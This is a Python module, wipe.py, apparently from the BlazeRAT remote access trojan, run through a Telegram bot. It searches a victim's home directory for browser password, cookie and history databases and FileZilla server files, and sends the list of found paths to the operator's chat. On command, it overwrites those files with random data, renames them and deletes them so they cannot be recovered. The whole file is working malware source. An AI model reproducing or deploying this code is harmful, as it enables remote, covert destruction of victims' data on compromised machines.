wipe.py 3.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from io import BytesIO
  5. from telebot import types
  6. from string import ascii_letters, digits
  7. from os import walk, path, rename, unlink
  8. from random import choice, randint, _urandom
  9. from core.messages import services as Messages
  10. from services.startup import HOME_DIRECTORY
  11. """
  12. Author : LimerBoy
  13. github.com/LimerBoy/BlazeRAT
  14. Notes :
  15. The file is needed to
  16. clean passwords, cookies, history, credit cards from browsers.
  17. """
  18. global detected
  19. detected = []
  20. RemoveFiles = [
  21. # Chromium based browsers data:
  22. "Local State", "Login Data", "Web Data", "Cookies", "History", "Favicons", "Shortcuts", "Top Sites",
  23. # Firefox based browsers data:
  24. "key3.db", "key4.db", "logins.json", "cookies.sqlite", "places.sqlite", "formhistory.sqlite", "permissions.sqlite", "storage.sqlite", "favicons.sqlite",
  25. # FileZilla servers:
  26. "recentservers.xml", "sitemanager.xml", "filezilla.xml",
  27. ]
  28. """ Wipe browser data request """
  29. def WipeBrowserDataInfo(message: dict, bot):
  30. global detected
  31. DetectFiles(HOME_DIRECTORY)
  32. obj = BytesIO()
  33. obj.write(b"This files will be removed:\n\n" +
  34. "\n".join(detected).encode())
  35. bot.send_document(
  36. message.chat.id, obj.getvalue(),
  37. caption=Messages.wipe_files_count % len(detected)
  38. )
  39. markup = types.InlineKeyboardMarkup()
  40. markup.add(
  41. types.InlineKeyboardButton(text=Messages.wipe_agree, callback_data="WipeYes"),
  42. types.InlineKeyboardButton(text=Messages.wipe_disagree, callback_data="WipeNo")
  43. )
  44. bot.send_message(message.chat.id, Messages.wipe_confirm, reply_markup=markup)
  45. def WipeBrowserData(callback: dict, bot):
  46. global detected
  47. removed = 0
  48. if callback.data.endswith("Yes"):
  49. for file in detected:
  50. if ShredFile(file):
  51. removed += 1
  52. bot.send_message(callback.from_user.id, Messages.wipe_removed % removed)
  53. else:
  54. detected = []
  55. bot.send_message(callback.from_user.id, Messages.wipe_cancelled)
  56. """ Detect files to delete """
  57. def DetectFiles(dir: str) -> list:
  58. global detected
  59. detected = []
  60. for r, d, f in walk(dir):
  61. for file in f:
  62. if file in RemoveFiles:
  63. detected.append(path.join(r, file))
  64. detected = sorted(detected)
  65. """ Get random file name """
  66. def RandomFile() -> str:
  67. result = ""
  68. data = ascii_letters + digits
  69. for _ in range(randint(8, 16)):
  70. result += choice(data)
  71. return result
  72. """
  73. Remove the data from file,
  74. make it unrecoverable.
  75. """
  76. def ShredFile(file: str, cycles = 1) -> bool:
  77. # Check if file exists and is not directory
  78. if not path.exists(file) or not path.isfile(file):
  79. return False
  80. # Shred file
  81. try:
  82. # Create random filename
  83. RandomFileName = RandomFile()
  84. # Rewrite the data of file,
  85. with open(file, "ba+") as delfile:
  86. length = delfile.tell()
  87. for _ in range(cycles):
  88. delfile.seek(0)
  89. delfile.write(_urandom(length))
  90. # Renames the file for completely remove traces
  91. rename(file, RandomFileName)
  92. # Finaly deletes the file
  93. unlink(RandomFileName)
  94. except Exception as error:
  95. print(error)
  96. return False
  97. else:
  98. return True